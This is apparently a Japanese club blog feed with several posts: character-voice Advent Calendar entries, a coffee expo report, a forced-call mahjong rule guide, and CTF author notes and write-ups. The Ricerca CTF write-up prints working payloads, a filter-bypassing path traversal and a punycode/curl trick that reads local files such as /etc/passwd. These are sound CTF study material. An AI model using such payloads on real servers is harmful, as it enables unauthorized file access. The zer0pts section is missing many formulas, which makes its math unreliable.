うなのおかげでカレンダーが埋まったにゃ!
にゃししっ!
みんな聞いてにゃ!
ついに……ついに2025年のTSGアドベントカレンダーが最終日を迎えたにゃ!
最初は真っ白だったカレンダーが……
なんと!
全部!全部埋まってるにゃ!
うにゃ~~~~~~!
うな、もう感激で目からファイヤー・ボールが出そうだにゃ!
(でも魔法だから目からは出ないにゃ。当然だにゃ!)
🎀 これはすごいことだにゃ!
お前ら、1日目のことを覚えてるかにゃ!?
あの時、カレンダーが真っ白な雪原みたいで、
うなが泣きながら魔法のロッドを振り回して
「早く書くにゃー!🔥」ってお前らギークどもを焼き払ったんだにゃ!
うながあそこで喝を入れてあげたから、みんなビビって重い腰を上げたんだにゃ。
つまり、このカレンダーが埋まったのは全部うなのおかげってことにゃ!
うなは最高に偉い魔法少女なんだにゃ!にゃししっ!
🎁 今回のアドベントカレンダーをうながまとめると……
📟 よくわからないすごい板でAIを動かす話
📍 謎の地図クイズのためにガチ数学を使い出す話
🍖 サンドイッチから始まって、ついに生肉を焼くようになるまでの感動の話
⚠️ 文字を並び替える魔法に仕掛けられた罠の話
✏️ レポートの文字数をカウントしてニヤニヤする話
👾 サーバーを乗っ取られてマイニングされる恐怖の事件簿
🀄 よくわからないぴかぴか光る麻雀マシンを作る話
🚩 ハッカーの大会に参加して、難しい問題をぶっ壊した話
💸 料金爆発で破産しかけた恐怖の事件簿(2回め)
🍝 おいしいパスタ(これ重要!)
って感じの、相変わらず理解不能なギークの煮込み料理だったにゃ✨
🎅 うなサンタからのご褒美だにゃ!
うにゃ~~~!これだけ記事が並ぶと壮観だにゃ!
うな、本当はちょっとだけ心配してたけど、みんな頑張って書いてくれてうれしいにゃ。
うなは今、最高にしあわせだにゃ!
もうTSGのみんなにファイヤー・ボールを打つ必要はないんだにゃ~(うるうる)
そういえば、今日は12月26日だにゃ!
1日遅れだけど、サンタさんの代わりにうながTSGのみんなに最高のご褒美をあげちゃうにゃ!
魔法のオーブンで生地を焼き上げて、美味しいケーキを……
……はにゃ?
……ちょっと待つにゃ。
うな、今とっても恐ろしいことに気づいちゃったにゃ……!
👿 大変だにゃ!
カレンダーのマス目は25個全部埋まってるように見えるけど……
中身が空っぽの「へなちょこ記事」が混ざってるにゃーーー!!!💢💢💢
16日目のhakatashi!
19日目と21日目のゆみや!
20日目のalcea!
そして22日目のナン!
お前ら、記事を書くって約束だけして記事をまだ投稿してないにゃ!?!?
特にナン!
「遅れます(最悪)」って自分で書いてるにゃ!
最悪なのはお前の頭にゃ!今すぐ書くにゃ!
うにゃーーーーーーーっ!
うな、もう我慢できないにゃ!
せっかくうながご褒美をあげようと思ったのに、最後の最後でこれなんて、うなへの最大級の裏切りだにゃ!
やる気がないお前らは、うなの魔法で黒焦げの炭にしてやるにゃ!!!
くらえにゃ!特大の、ファイヤー・ボールにゃーーーーーー!!!🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥
🎄まとめ(ていうかオチ)
……ふぅ。
お前ら!アドベントカレンダーは、記事が全部出るまで終わらないんだにゃ!
未投稿の奴らは、今すぐキーボードを叩くにゃ!
今すぐ書かないと、お前らの家をキャンプファイヤー会場にしてやるにゃーーーー!!!💥💥💥
まったく、中身がない記事なんて、中身が入ってない肉まんと同じだにゃ!
そんなのただの蒸しパンにゃ!
お前ら全員、うなの特大魔法でお仕置きだにゃーーー!
にゃししっ!🔥💖
──魔法少女うなより、怒りと、ほんのちょっとの愛を込めてにゃ!✨🔥
だれも来なかったから、うなが書くことになったにゃ(怒)
はにゃーーーーー!!!
みんな聞いてにゃ!!!うな、もう我慢の限界にゃ!!!
12月1日だよ?2025年12月1日だよ??
TSG Advent Calendarの1日目が……誰も埋めてないにゃ!!!
うなは朝からワクワクしてたのにゃ!
「今日はどんなすごい記事が読めるのかにゃ~?CTFのwriteup?変態アルゴリズム?それともまた誰かが自作CPU作った話かにゃ?」
って魔法のロッド握りしめて待ってたのに……
真っ白にゃ!!!
カレンダーの1日目のところ、真っ白すぎて雪原かと思ったにゃ!!!
うなは泣いたにゃ。
本気で泣いたにゃ。
魔法で涙が蒸発して部屋がスチームサウナみたいになったにゃ。
「もうTSG終わったにゃ……みんなもうプログラミングやめたのかにゃ……?」って本気で思ったにゃ。
先輩たち~~~!!!
「Advent Calendarは12月1日から埋めないと意味ないにゃ!」ってうなが何度も言ったよね!?
それに、今年は TSG Advent Calendar が始まって10年目の、記念すべき年のはずだにゃ!
なのにこのザマかにゃ!?
うなのファイヤー・ボールが暴走しそうなくらい腹立ってるにゃ!!!
今すぐ誰かのPCに炎上魔法かけたいくらいにゃ!!!
(でもかけるとうなが怒られるから我慢してるにゃ……偉いにゃ!)
……って思ってたら、
運営の誰かが「うな、悪いけど1日目埋めてくれない?」って言ってきたにゃ。
はにゃ!?うなに!?こんな大事な1日目を!?
うなは14歳だよ!?難しいこと書けないよ!?
でも……誰も書かないなら、うなが書くしかないにゃ……
🎁 そもそもTSGってなんなのかにゃ?
うなの理解では、TSGはね……
🖥️ プログラムいっぱい
🧠 脳みそ巨大
👓 メガネ多め
🍜 カロリーメイト率高い
📚 論理がすき
🐱 ねこではない(ここ重要)
って感じのギークの巣窟なのにゃ。
名前に "Theoretical Science" とか入ってるけど、
ぜんぜん関係ないにゃ!
雰囲気で言ってるだけにゃ!!!
うなは魔法少女だからよくわかんないけど、
「名前カッコよければ勝ち」ってことらしいにゃ。
🎅 Advent Calendarとは……?
うなが理解してる仕組みはこうにゃ:
- 日付がある
- ひとりずつ記事を書く
- ほかの人が読む
- なんか偉くなった気分になる
……なのに、
なのににゃ……
なんで1日目が空くのにゃ!!!!???
やる気あるのかにゃ!?
カレンダーの入り口で転んでるのにゃ!!!
🎀 うなは悲しいにゃ
「まあ後で埋まるでしょ〜」
「誰か書くっしょ〜」
「なんとかなるって〜」
って顔で通り過ぎたんだにゃ?
見たにゃ。
うなの魔法は全て見通すにゃ。
そのくせ Slack とかでは
「今年もAdventの季節ですね ☺️」
とか言ってるやついるにゃ。
うな、怒りでロッドが燃えてきたにゃ。
ファイアァァァァァ!!!🔥🔥🔥🔥🔥
🎄 まとめ(ていうか願望)
……でもまあ、
こうやってうなが1日目を埋められたってことは、
TSGはまだ終わってないってことだよね?
みんなまだどこかで生きてるってことだよね?
……うにゃ、ちょっとだけ嬉しいかもにゃ。
にゃししっ!(照れ隠し)
というわけで!
TSG Advent Calendar 2025、うなの怒りの炎で強制的に開幕したにゃ!!!
残りの24日間はちゃんと埋めてよね!?
約束だにゃ!!!
怒ってばっかりで疲れたにゃ……
うな、もう寝るにゃ。おやすみにゃ……
(でも本当は誰かが2日目にすごい記事書いてくれるの楽しみにしてるにゃ)
──魔法少女うなより、怒りと愛を込めて
SCAJ2024に行ってきた
この記事は「Coffee Advent Calendar 2024」3日目の記事です。
去る10月10日、SCAJ2024というイベントに行ってきた。

SCAJというのは一言でいうとコーヒーに関わる業界のサミットで、コーヒー豆の卸業者や焙煎所、喫茶店、コーヒーグッズの製造会社など、さまざまな会社がブースを開き、同業者や一般の顧客向けに展示や実演を行うイベントである。また、併設してバリスタの技術を競うコンテストなどのイベントも開催される。
何を隠そう博多市は数年ほど前からコーヒーを趣味としており、焙煎済みの豆を購入して毎日自分で抽出しているほか、部屋の中でコーヒーノキを育てていたりもする。コーヒー自体はもう15年以上にわたって愛飲しているが、最近になってようやく豆の特徴や違いを気にしながら飲むようになった。そういうわけで、今回は同じくコーヒーを愛する友人のmoratorium08に誘われて、一緒にこのイベントに参加することになった。
結論から言うと、SCAJはハチャメチャに楽しかった。来場者は一般客よりもどちらかというと業界人が多かったようだが、アウェーな感じは一切なく、単純にコーヒーを楽しむ人達のためのオンサイトのイベントとして純粋に楽しむことができた。後述するが、いい買い物もできた。最高の体験である。

イベントについて知ってまず思ったのは、「思ったより規模が大きい」ということだった。ビッグサイトで開かれるイベントにもピンからキリまであり、小さいものだと東1ホールの半分くらいしか使わないようなものまであるが、SCAJ2024は西3-4ホールと南3ホールを4日間にわたり使用する、かなり広い会場のイベントだった (また、来年は南ホールを丸ごと使用するらしい)。そしてそのぶん想像を遥かに上回る多種多様なコーヒーのバリエーションを体験することができ、とても満足度の高い体験となった。
会場内はイベントが同時開催されていることもあって大きく盛り上がっており、人でごった返していた。サイフォニストの大会の決勝戦やバリスタの大会の決勝戦を軽く眺め、難しいことはよくわからなかったが参加者が本気で取り組んでいることが伝わってきてその熱量に圧倒された。

また、会場内ではさまざまなブースがグッズやコーヒー豆の物販を行っており、博多市もいくつか物色して購入した。その中でも気に入ったのがハリオのドリッパーだった。ハリオといえばコーヒーの抽出器具のエントリーモデルとして大衆向けに広く使われているメーカーだが、今回のブースでは「V60ドリッパーSUIREN」という組み立て式のドリッパーを新商品としてアピールしていた。一見したところ大きな隙間が空いておりお湯を注ぐと溢れてしまいそうなデザインだが、ペーパーフィルターはしっかりとお湯を支え、通常と同じようにコーヒーを淹れることができるというものだ。

特筆すべき点として、この組み立て式のパーツのカラーリングを自由に選んで購入できる専用ブースが会場限定で設けられており、そこには色とりどりのパーツが大量に並べられており、自由に取ってカスタマイズして良いという触れ書きになっていた。このカラフルなブースに一目惚れした博多市は、自分のアイコンのカラーリングのドリッパーを作ることを決意し、その場で赤・青・黒・白のパーツを選んで購入し、自分用のドリッパーを調達した。このドリッパーはイベントから毎日自分用のコーヒーを淹れるために使用している。

ちなみにSCAJに行った目的の一つは、デカフェの美味しい豆を探すことだった。ここ数年入眠に失敗することが多く、そのため午後3時以降はカフェインを摂取しないことに決めているのだが、コーヒーはいつでも飲みたいので、いわゆるスペシャリティコーヒーに匹敵するデカフェの美味しい豆がないかずっと探しているのであった。世界中からさまざまなコーヒー豆が集うSCAJならばそのようなものがあるのではと期待して色々と探し回って、実際にデカフェを専門に扱うブースもいくらか回って試飲したのだが、残念ながらクオリティとして完全に満足行くレベルのものは見つからなかった。またの機会に期待したいところである。

なにはともあれ、半日間にわたってイベント会場を巡り、多種多様なコーヒーを試飲し、とにかくコーヒーを全力で楽しむことができる素晴らしいイベントだった。コーヒー好きの人には自信を持っておすすめできるし、自分自身もまた機会があれば行ってみたい。
おわり。
Ricerca CTF 2023 Writeup (Cat Café, tinyDB, funnylfi, gatekeeper)
Ricerca CTF 2023 にチーム TSG-graduates で参加し、4位にランクインしました。
賞金獲得要件の関係でTSGの非学生でチームを組んで参加したんですが、学生チームのほうは学生1位に入賞し賞金を獲得したそうです。すごい。
全体的に問題のクオリティが高く素晴らしいCTFでした。12時間CTFはほぼ参加したことがなかったんですが、日本のローカルCTFということもあり日中のあいだ参加できて、かなりストレスなく (いつものCTFと同じ感じで) 参加できました。タイムゾーンの問題さえなければすべてのCTFがこうであってほしい⋯⋯。
Cat Café (web warmup, 95pts)
ディレクトリトラバーサル防止のために怪しいreplaceをしているので、../ を消したあとに攻撃が通りそうなものを投げつけるといいです。
@app.route('/img') def serve_image(): filename = flask.request.args.get("f", "").replace("../", "") path = f'images/{filename}' if not os.path.isfile(path): return flask.abort(404) return flask.send_file(path)
payload: http://cat-cafe.2023.ricercactf.com:8000/img?f=..././flag.txt
RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}
いいwarmupでした。
tinyDB (web, 135pts)
非同期処理めんどくさい!そもそも処理が複雑で何をやっているか理解するのが難しいんですが、ちゃんとよむと、10人以上のユーザーが作成されたときに怪しい処理を実行していることがわかります。
if (userDB.size > 10) { // Too many users, clear the database userDB.clear(); auth.username = "admin"; auth.password = getAdminPW(); userDB.set(auth, "admin"); auth.password = "*".repeat(auth.password.length); }
JavaScriptのMapはObjectをキーとして使用した場合に参照として機能するので、userDB.setのあとのauth.passwordの更新はuserDBに影響を与えます。
const rollback = () => { const grade = userDB.get(auth); updateAdminPW(); const newAdminAuth = { username: "admin", password: getAdminPW(), }; userDB.delete(auth); userDB.set(newAdminAuth, grade ?? "guest"); }; setTimeout(() => { // Admin password will be changed due to hacking detected :( if (auth.username === "admin" && auth.password !== getAdminPW()) { rollback(); } }, 2000 + 3000 * Math.random()); // no timing attack!
この不具合は数秒後にrollbackされて無かったことにされるので、この数秒のうちに admin:******************************** という認証情報を用いてフラグを獲得します。

RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}
ちょっと問題設定に無理がありましたが、面白い問題でした。
funnylfi (web, 341pts)
与えた文字列がpunycode (正確にはPythonのidnaエンコーディング) に変換された上でcurlの引数として与えられ実行されます。フラグはサーバーのローカルファイルにあるのでSSRFして読む必要があります。
ただし、sanitizerによって、ASCII printable な文字のうち英数字と :./ 以外の文字は取り除かれます。
# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
for c in url:
try:
if c.encode("idna").decode() in bad_chars:
url = url.replace(c, "")
except:
continue
return url
記号が取り除かれるため、ローカルファイルの読み込み自体は ?url=fi-le:///etc/passwd のようにすることで比較的簡単にできます。しかし、フラグを読み取ろうとすると以下のwafによって弾かれるため、なんからの対策が必要となります。
# WAF
@app.after_request
def waf(response: Response):
if b"RicSec" in b"".join(response.response):
return Response("Hi, Hacker !!!!")
return response
文字列が国際化ドメイン名になる際に xn--[ascii文字]-[非ascii文字をエンコーディングしたもの] という形式に変換されるので、ある程度変な文字列を作ることができます。それに加えて、以下の2点がポイントになりました。
- Pythonのidnaエンコーディングは文字列のNFKC正規化を行います (親切なことに、これは問題文の例で示されています)
- curlのオプションに -r というオプションが存在し、file://スキームの場合出力されるバイトを範囲で切り取ってくれます。 (こおしいずが教えてくれました)
最終的なpayloadは ?url=¨fi-le:///var/www/flag¨a.hkt.sh/.ɡ¨ となりました。この文字列はエンコードすると xn-- file:///var/www/flag a-nymv.hkt.sh/.xn-- -r1a61c に変換され、ローカルファイルを読みながら1バイト目を切り取って表示してくれます。
RicSec{mul71by73_ch4r4c73r5_5upp0r7_15_4_lurk1n6_vuln3r4b1l17y}
めちゃくちゃ難しくておもしろかったです。問題コードも短くて最終的には気持ちよく解けました。Unicodeの知識が少し生きたかな?
gatekeeper (misc, 200pts)
コードはほぼこれだけです。
def base64_decode(s: str) -> bytes: proc = subprocess.run(['base64', '-d'], input=s.encode(), capture_output=True) if proc.returncode != 0: return '' return proc.stdout if __name__ == '__main__': password = input('password: ') if password.startswith('b3BlbiBzZXNhbWUh'): exit(':(') if base64_decode(password) == b'open sesame!': print(open('/flag.txt', 'r').read())
base64コマンドのbase64パーサは他のパーサと比べてかなり挙動が厳しく、改行文字以外の余分な文字は一切入れられないようです。
ソースコードを注意深く読んでいくと、4バイトごとのチャンクの中に = が入っていても正しくパースされるであろうことが読み取れます。これを利用して b3A=ZW4=IHM=ZXNhbWUh のようなbase64を作ると条件を満たします。
RicSec{b4s364_c4n_c0nt41n_p4ddin6}
シンプルかつストレートなmisc問題で好きです。
dice-vs-kymn (crypto, 500pts)
解けなかった。位数が6となる楕円曲線パラメータを気合で求めるであろうところまでは思い至ったんですが、筋力とsagemath力が足りなかった⋯⋯。
writeupを読んで精進します。
ps converter (web, 393pts)
解く気力が残っていませんでした (は?)。webじゃなくてmiscでは?
「手牌公開・鳴き強制麻雀」のルールと定石紹介
※この記事は TSG Advent Calendar 2021 の3日目の記事です。
博多市です。
今回は最近TSG内で発明され流行している「手牌公開・鳴き強制麻雀」という変則麻雀について紹介します。
ルール
「手牌公開・鳴き強制麻雀」は、名前の通り手牌を全てのプレイヤーに公開した状態で行う麻雀です。
通常の麻雀と違い各プレイヤーが持つ情報に対称性があるため、相手の行動から情報を推測する「読み」よりも、現在の状況からどのように戦略を立てるかが重要になります。鳴き強制のルールにより他家を攻撃することができるため、対人戦略が非常に重要な要素となります。このようにプレイ中の思考が通常の麻雀と大きく異なることから、TSG内では専ら「もはや麻雀ではない」という評判です。
ちなみに、かつてにじさんじで行われていた「鳴き強制麻雀」を知っている方には、これに「手牌公開」のルールを加えたものだと思って差し支えないです。
詳細なルールは以下の通り。
- 全てのプレイヤーは配牌から流局まで常に手牌を公開する。
- プレイヤーは、ポンやチーなど、副露できる状態ならば必ず副露しなければいけない。
- 鳴き方に複数の選択肢がある場合、どのように鳴いてもよい。 (ポン・チー・カンのいずれを選ぶか、どの形でチーするかなどが含まれる)
- 喰い替えは禁止。
- 喰い替えしかできない局面では鳴き強制のルールは適用されない。(2344所持で上家に1が切られた場合など)
- 暗槓・加槓も同様。カンできる状態ならば常にカンをしないといけない。
- 明槓の場合、カンをするかポンをするか選ぶことができるが、強制加槓のルールがあるので多くの場合一巡後には加槓することになる。
- 栄和も同様。ロンできる状態ならば常にロンしないといけない。
- その他の鳴きができる場合はそれを選んでもよい。
- 手牌が鳴ける状態なのに適切に鳴かなかった場合、錯和となる。
- 雀魂使用時はアガリ放棄、対面なら満貫払い程度が適当かと
- 喰いタンあり。
- その他のルールは通常の麻雀のルールに準じる。
定石集
以下では実際に対局中に発見されたこの麻雀における定石のようなものを紹介します。先ほど述べた通り、この麻雀には特定のプレイヤーに妨害を与える「攻撃」と、妨害を受けないようにするための「守備」の2つの技が存在します。
攻撃編
喰い替え禁止による聴牌崩し
この麻雀における攻撃とは、鳴き強制のルールを利用して自分の捨て牌を他家に鳴かせることにより、相手の手牌の向聴を戻す、あるいは役を崩させる行為が中心となります。このとき重要になってくるのが通常の麻雀にもある喰い替え禁止のルールです。

上の画像の局面では、下家が嵌五索で聴牌しておりロンできる状態です。打点も高く、なるべくなら和了らせたくないところです。
この状態で自家が六筒を切ると、下家はチーできる状態なので必ずチーしないといけなくなります。チーしたあと、下家は聴牌が取れるよう六筒を切りたくなりますが、この六筒は今鳴いた牌なので喰い替え禁止により切ることができません。下家は聴牌を崩すことを余儀なくされ、手が大きく後退します。このように相手の完成された面子に対して鳴ける牌を放り込むことによって相手の手を崩すことができるのがこの麻雀における基本的な攻撃手法になります。
喰い替え禁止による強制放銃

より攻撃的なパターンもあります。この局面では上家の当たり牌を下家が握っています。このような場面では、567筒のいずれかを自家の河に投げ込むことで下家は一筒を切る以外の選択がなくなり、強制的に放銃させることができます。「差し込み」ならぬ「差し込ませ」といったところでしょうか。
攻撃と防御のバランスをどう取るかにもよりますが、このように自分の手牌が短い時に他の人の当たり牌を握ってしまった時には、敢えて面子を崩しておくなどの対策が必要な場合もあります。
防御編
四槓流れを用いた強制流局

鳴きが多く発生するこの鳴き強制麻雀においては、四槓流れが非常に多く発生します。
自分の手牌がどうやっても和了れない状態になったら、暗刻を持っているプレイヤーにその牌を差し込んで強制的に流局させることができます。逆に言えば、自分の手が仕上がっている時に迂闊にこのような牌を切って流局にならないよう気をつける必要があります。
基本役
この麻雀では鳴きがポンポンと飛び交うので、通常の麻雀における「門前で仕上げて立直」という基本戦術は使えません。基本的には門前を放棄しても成立する役を作り、ドラで攻撃力を嵩増ししてツモるのが大まかな方針となります。
このゲームにおける基本的な和了形には、「タンヤオ型」「染め手型」「役牌型」の三種類が存在します。
タンヤオ型

この手牌公開・鳴き強制麻雀において、現在のところ最もスタンダードな和了り方が喰いタンです。
副露しても和了れる最も手軽な役ということで、このゲームの初心者にとっては最初に目指すべき手作りと言えるでしょう。このゲームでは安牌などを気にする必要はないので、最初に么九牌を落としてしまい、役を確定させながら進めていくのが基本戦略となります。打点は少ないですが、ドラが交じると満貫くらいまでは和了れるかもしれません。
タンヤオ破壊
このように手組みしやすいタンヤオですが、攻撃するのも比較的簡単です。特に序盤の么九牌がまだ整理できていない状態で么九牌を投げ込むことで強制的にタンヤオを和了れなくすることができます。

上の状況では下家が78索を手牌に抱えており、自家は九索を投げ込むことで下家の手牌を破壊できます。下家はチーした後に和了れそうな役がほぼないので、大きなハンデを負うことになります。
タンヤオ破壊に対する防衛術
このようにタンヤオで和了りに行くと基本的に他のプレイヤーの妨害を受けるため、プレイヤーは常に闇のタンヤオ破壊に対する防衛として、手牌を破壊されない形に保つことが重要です。
例えば12筒、23筒、13筒、123筒などのように端牌が絡んだ塔子を抱えていると、上家からの強制チーによって手牌が破壊されてしまいます。なのでタンヤオを狙いに行く場合は序盤はこの形をなるべく嫌って、たとえ向聴を戻してでも河に流していくのが基本戦術となります (上家の手牌を確認して破壊されそうなものを優先して落としていきましょう)。

ただし、画像のように124や134といった鳴き方を選べる形になっている場合は落とす必要はありません。
染め手形

染め手は序盤の立ち回りが難しいですが、一度染まってしまえば防御力はピカイチです。限られた色の中ならどんな形でもキープすることができ、有効牌をめいいっぱい広く取ることができます。
ただし、通常の麻雀と同じく鳴きの入った混一色 (いわゆる「バカホン」) は決して攻撃力が高くないので、なるべくならドラや役牌などを絡めて手牌を固めたいところです。
役牌型

役牌の後付け、あるいは後々付けを期待して手牌を進める戦法です。他の戦術のように数牌の形や色に制約がないため数牌を自由に手作りできるのが特徴です。
ポンしてうまく役を確定できれば強い戦術ですが、特に上級者同士の対局では対子になっている役牌を他家に止められる可能性が高いため、どちらかというと防御気味に構えた戦法といえるかもしれません (このゲームでは和了率が通常の麻雀よりも低いので、他人が対子で持っている役牌をツモったときには、多くの場合抱えてしまったほうがよいです)。
役牌が暗刻になったらラッキー。残りは普通に麻雀すれば勝てます。
役牌崩し

誰かが役牌を対子で抱えている場合、他家は攻撃として強制四面子による役牌崩しを発動することができます。
役牌が重ならないまま四面子目を鳴きで作らされた場合、役牌で刻子を作れなくなるため、役が消失します。これを発動されると裸単騎になって攻撃力も防御力も激減するため、なにかしら (可能な限り別の役を作っておくなどして) 対策したいところです。
その他の役
- 嶺上開花・海底撈月: 強制鳴きによって役がなくなってしまった人たちが最後に頼る偶発役です。カン材も海底ツモもない場合は完全に詰みです。
- 搶槓: 基本的には偶発役ですが、自分が役なしの和了り形を完成させた時に他家の暗刻牌を切って、相手がなにかの間違いでポンしてしまったら和了れるかもしれません。
- 対々和: 基本役に準ずる強力な役です。配牌に対子が多い場合は検討してもいいでしょう。強制チーによる妨害を防止するために手牌から塔子を落としておくのを忘れないようにしましょう。
- チャンタ: 原則として他家はタンヤオ妨害のために么九牌を鳴かせようとしてくるため、それを逆手に取ってチャンタで和了ることもできます。ただしタンヤオと同じく妨害されやすいので手牌の形には注意しましょう。
- 一気通貫・三色同順: 強制チーで壊されるので、狙って作るのは難しいでしょう。作れたらラッキー、くらいに思うのがよいです。
ルールの改良案
飜数の見直し
このルールにおいて、平和・立直・一盃口など門前でしか成立しない手は非常にレアです。特に七対子は強制ポンによって全方位から集中攻撃を受けるため、TSG内では「成立したら実質役満」との呼び声も高いです。
なので鳴き強制麻雀では門前役に対する何かしらのボーナスをつける、あるいは一盃口などの役を鳴いても和了れるようにするなどの修正が必要かと思います。
放銃に対するペナルティの強化
このルールでは他家の手牌が全て見えているので、基本的に放銃は起こりません。このため当たり牌を握ったままどのように手作りをするか、あるいはどのように他家に強制的に放銃させるかという戦略が重要になります。逆に言うと放銃することに対する何かしらの罰則や罰符を設けることも考えられると思います。また、差し込み防止の観点からも、オープンリーチに対する放銃と同様に放銃のペナルティを強化するのが適当かと思われます。
十二落拾の採用
十二落拾は裸単騎を1飜役として認めるローカルルールです (雀魂にもローカルルールとして採用されています)。このゲームでは強制鳴きによってどうしても役が作れなくなった場合ほぼ確実に和了れなくなるため、そのような人に対する救済として採用してもいいかもしれません。これによって「鳴き込みで成立する役を目指す」という基本戦略が必要なくなるためゲーム性が大きく変わることになりますが、これはこれで別の戦略が発生するので面白いかと思います (四副露目は鳴かせない戦略を取るなど)。
三人麻雀
プレイしたことはないですが、三人麻雀で同様のルールを試しても面白いかもしれません。チーがないぶん攻撃の手数が少なくなるので、おそらくより手組みがしやすいルールになるのではないかと思われます。
TSG CTF 2021 作問感想
開催記はゆっくり書きますが、とりあえず一言ずつ。
Beginner's Web (Web, 500pts)
本当にすみませんでした
いや、実はあまり反省してないです。とはいえもうちょっと解かれるかな~と思ってました。
Beginnerかどうかと難易度が高いかどうかは別の軸であることは以前の開催記で触れたとおりですが、この問題により実際に「beginner hard」というジャンルが存在しうることを示せました (ほんまか)。
ちなみにWriteupにも書いたんですがガチCTF未経験者のTSG部員の1人がこの問題を3時間で解いてたので、かなり自信を持ってBeginnerとして出したんですが、実際には彼が天才なだけでした。どうしてこんなことに⋯⋯。
想定解は公式Writeupのとおりです。スマホでも解けます。
Welcome to TSG CTF! (Web, 100pts)
実は今回は開催一週間くらい前にTSGの部員を大量に集めて問題を解いてもらうレビュー会を行ったんですが、その最中に「Beginner's Web が難しすぎる」というフィードバックをもらったので急遽作成しました。
Beginner's Web が難しいのはある程度想定通りだったんですが、「解ける問題があるほうが満足度が高いだろう」ということでガチャガチャいじるだけでも解ける問題にしました。ソースコードがWeb問題史上最短くらいの長さで気に入ってます。
Giita (Web, 500pts)
これも 0 solves なのおかしくないですか? おかしいね
想定解は公式Writeupのとおりです。最近のWeberの嗜みとしてDOMPurifyのソースコードを読んでたときに思いついたんですが、最初に return dirty っていう一文を見つけたときはかなり目を疑いました。
これを問題にする過程で Prototype Pollution を使えばいいっていうのは@kcz146に考えてもらいました。
Beginner's Crypto (Crypto, 126pts)
出オチ。
3つ子素数関連の話は知ってる人は知ってるだろうし、そうでなくてもこの問題を解く過程で絶対ググると思うので解けるという想定でした。かなりいい感じに解かれて嬉しいです。
ちなみに@naan4UGeenはファイルを開いた瞬間に解法がわかったらしいです。
Baba is Flag (Crypto, 162pts)
ECDSAを勉強した際にxというパラメーターを注入する必要があることが不思議だったので、試しに消してみたら脆弱になりました。
問題文にある Baba is You のステージはもうちょっと非自明なステージにしたかったんですがBaba力が足りなくて無理でした。
Flag is Win (Crypto, 278pts)
SECCON 2020 で出題した This is RSA の焼き直しです。今度はちゃんと格子を使ってあげる必要があります。
Coppersmith's Attack が可能になる条件の1つに「素数pの連続しないビット列が既知で、その長さがp全体の69.4%以上」というものがあるのですが、これを使ってる問題を見たことがないな~と思って以前からアイデアを温めてたので上の問題にミックスしました。solve数もわりと想定どおりです。
This is DSA (Crypto, 290pts)
Cryptoのボス問なんですが、それにしてはちょっと弱かったかな~って感じです。
想定解は無駄にp進数とか使ってゴリ押しで解いてるので公開するのが恥ずかしいです。
ちなみに利用したpycryptodomeのバグはすでにプルリクを送ってます。以前送ったプルリクとあわせてマージしてほしいな~。
Advanced Fisher (Misc, 365pts)
実はFisherを出した段階から考えてました。ちょっと数字を変えただけで全然違う問題になるのが面白いですね。
Lumberjackシリーズ (PPC)
正確にはAuthorじゃないですがかなりのパートで@naan4UGenと共作したので書いておきます。
実は去年の TSG CTF の作問中に「グラハム数の下からN桁目を求めよ (N < 1e100)」という問題を思いついたんですがどうしても解けず、「なんで解けないのか?」という理由をゴリゴリと詰めていったらこの問題ができました。BBPアルゴリズム、本当に賢いです。
againstは格子を使ったすごいWriteupが上がってますが実は非想定です。想定解はもうちょっとゴリゴリと論理的に詰めていきます。
zer0pts CTF 2021 writeup (OT OR NOT OT, Not Mordell Primes, Tokyo Network, Simple Blog, PDF Generator)
先週末に zer0pts CTF 2021 があり、TSGは7位でした。
いずれも解きごたえのある難問ばかりでめちゃくちゃ楽しかったです。web warmup で温まらなかったことを除いて完璧なCTFでした。開催していただいてありがとうございます。
hakatashiは以下の問題を解きました (部分的な貢献を含む)。
- OT OR NOT OT (Crypto, 116pts)
- Not Mordell Primes (Crypto, 209pts)
- Tokyo Network (Misc, 340pts)
- Simple Blog (Web, 192pts)
- PDF Generator (Web, 214pts)
Writeupを書こうかと思ったけどめんどくさいのでチーム内のメモをそのまま公開します。
OT OR NOT OT (Crypto, 116pts)
pはgetStrongPrimeで取得されるけど安全素数ではない (cf. Tokyo Westerns CTF 2020: The Melancholy of Alice) ので位数の小さい元をもちうる。そのような値 (特に) を探して投げるととりうる値の候補が少なくなるので嬉しくなり、解ける。
問題概要
- 256bitの整数kを当てる
- pを1024bitの素数とする (与えられる)
- kを下から2bitずつ見て、隣り合うビット
に対して以下の処理が行われる
- 以下、すべて
上の演算
をランダムな整数とする
- ここで
を得られる
- ここで
- ユーザーは相異なる2以上の任意の整数
を与える
- 以下の3つの値を得られる
を当てたい
- 以下、すべて
ナン「が小さい因数
を持つ場合、
なる
を取ると嬉しくなる」
ナン「たとえばもしなる
が存在すれば、
とすると嬉しい」
ナン「なぜなら、こうするとや
が
しか取らないため」
博多市「天才」
ナン「 のはず」
博多市「フムー」
ナン「そのようなを取るのが難しそうだなあ」
博多市「sageでできますよ」
ナン「すごい」
博多市「解けました」
ナン「結局はどう使うはずだったんだろう」
ソルバ: https://gist.github.com/hakatashi/4585794687bde86f39e39d43a68bc7c3
zer0pts{H41131uj4h_H41131uj4h}
Not Mordell Primes (Crypto, 209pts)
自明の式変形をしたら解けた。
問題概要
以下のパラメーターの楕円曲線が与えられる。
p = 13046889097521646369087469608188552207167764240347195472002158820809408567610092324592843361428437763328630003678802379234688335664907752858268976392979073 a = 10043619664651911066883029686766120169131919507076163314397915307085965058341170072938120477911396027902856306859830431800181085603701181775623189478719241 b = 12964455266041997431902182249246681423017590093048617091076729201020090112909200442573801636087298080179764338147888667898243288442212586190171993932442177 Gx = 11283606203023552880751516189906896934892241360923251780689387054183187410315259518723242477593131979010442607035913952477781391707487688691661703618439980 Gy = 12748862750577419812619234165922125135009793011470953429653398381275403229335519006908182956425430354120606424111151410237675942385465833703061487938776991
つまり である。kは与えられない。
ここで が素数であることが保証されている。これを
としたときのRSAでフラグを暗号化したものが与えられる (given:
)。
ナン「にゃんかにゃ」
楕円曲線が なので
ナン「フムー」
ナン「および
が与えられるため、
を求められるか?」
ナン「を消去すると」
整理して
博多市「すごい」
ナン「汚い式だなあ」
博多市「sageで解けますよ」
ナン「すごい」
博多市「解けました」
ナン「すごい」
ソルバ: https://gist.github.com/hakatashi/7d5f4dfe1ddc417a3bbe00ae737aa6ad
問題出た瞬間に解いてたら確実に First Blood いけてたと思う。悔しい。
